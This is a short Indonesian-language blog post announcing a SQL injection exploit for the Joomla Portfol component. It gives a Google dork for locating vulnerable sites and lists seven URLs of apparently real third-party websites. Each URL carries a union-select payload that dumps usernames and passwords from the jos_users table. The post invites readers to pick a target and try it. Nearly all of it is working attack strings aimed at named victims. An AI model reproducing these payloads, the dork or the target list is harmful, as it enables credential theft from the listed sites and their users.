Joomla Component Portfol SQL Injection Vulnerability

Pagi ini jalan-jalan ke milw0rm eh ternyata ada exploit baru buat website yang menggunakkan joomla dan component Portfol ni alamat lengkapnya http://www.milw0rm.com/exploits/7734 langsung dech dicoba.

Masuk ke google masukin dork-nya inurl:"com_portfol" dapat banyak kan, :D

pilih aja salah satunya, ni contoh web yang masih bisa di injec :

http://www.viwebdesigns.com/index.php?option=com_portfol&Itemid=8&task=viewcategory&vcatid=-8+union+select+concat(username,char(58),password)KHG+from+jos_users--


http://www.tissea.co.uk/index.php?option=com_portfol&Itemid=413&task=viewcategory&vcatid=-95+union+select+concat(username,char(58),password)KHG+from+jos_users--

http://hentama.co.id/home/index.php?option=com_portfol&Itemid=127&task=viewcategory&vcatid=-14+union+select+concat(username,char(58),password)KHG+from+jos_users--


http://www.kznia.org.za/index.php?option=com_portfol&Itemid=60&task=viewcategory&vcatid=-79+union+select+concat(username,char(58),password)KHG+from+jos_users--


http://www.trigwebdesign.com/index.php?option=com_portfol&Itemid=66&task=viewcategory&vcatid=-18+union+select+concat(username,char(58),password)KHG+from+jos_users--

http://www.subcontrast.com/index.php?option=com_portfol&Itemid=24&task=viewcategory&vcatid=-20+union+select+concat(username,char(58),password)KHG+from+jos_users--


http://www.weavermfg.com/index.php?option=com_portfol&Itemid=34&task=viewcategory&vcatid=-16+union+select+concat(username,char(58),password)KHG+from+jos_users--

dah y kalo mau yang lain silahkan cari sendiri. capek nich :D